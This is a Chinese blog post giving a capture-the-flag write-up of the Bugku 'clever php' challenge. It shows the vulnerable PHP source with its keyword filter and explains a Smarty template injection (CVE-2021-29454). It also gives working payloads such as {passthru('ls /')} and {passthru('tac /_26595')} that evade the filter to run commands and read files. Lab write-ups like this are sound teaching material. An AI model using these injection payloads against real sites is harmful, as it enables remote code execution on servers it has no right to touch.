2024-03-18 18:12阅读: 79评论: 0推荐: 0

Web_Bugku_WriteUp | 聪明的php

题目

分析

翻译一下题目:传递一个参数,也许标志文件的文件名是随机的:>


于是随便传个参数 ?a,出现 php 代码:

<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty(); // new一个Smarty模板
if($_GET){
highlight_file('index.php');
foreach ($_GET AS $key => $value) // 以value为名遍历_GET数组
{
print $key."\n"; // 打印变量key+换行
if(preg_match("/flag|\/flag/i", $value)){ // 如果在value中匹配到大小写的flag或/flag字符串
$smarty->display('./template.html'); // 通过Smarty渲染根目录下的template.html模板并输出到浏览器
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ // 否则如果在value中匹配到大小写的system或readfile或gz或exec或eval或cat或assert或file或fgets字符串
$smarty->display('./template.html'); // 通过Smarty渲染根目录下的template.html模板并输出到浏览器
}else{
$smarty->display("eval:".$value); // 通过Smarty渲染根目录下的“eval”字符串+value的值为名的模板并输出到浏览器
}
}
}
?>

对于 value 中存在字符串“flag”“/flag”“system”“readfile”“gz”“exec”“eval”“cat”“assert”“file”“fgets”的情况,浏览器将显示 template.html 模板,于是先看看 template.html 的内容:

看来该条件语句是对以上字符串的过滤。


代码第 3 行提到使用了 Smarty 模板,查了一下该模板,发现在 3.1.42 和 4.0.2 版本之前存在模板注入漏洞,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。尝试查看该模板版本号 ?a={$smarty.version}


显示为 3.1.30,验证一下漏洞:

可以对模板进行注入。


在 php 调用系统底层的四个函数 system shell_exec exec passthru 中,仅 passthru 未被过滤,遂通过 ?a={passthru('ls')} 查询当前目录的文件:


没有发现可疑文件,尝试从根目录查起,传入 ?a={passthru('ls /')}


发现一个奇怪的文件 “_26595”,?a={passthru('tac /_26595')} ?a={passthru('tac /_26595')}看看情况:

找到 flag。

参考

CVE-2021-29454—Smarty模板注入分析复现-先知社区

本文作者:Guanz

本文链接:https://www.cnblogs.com/Guanz/p/18080938

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   Guanz  阅读(79)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起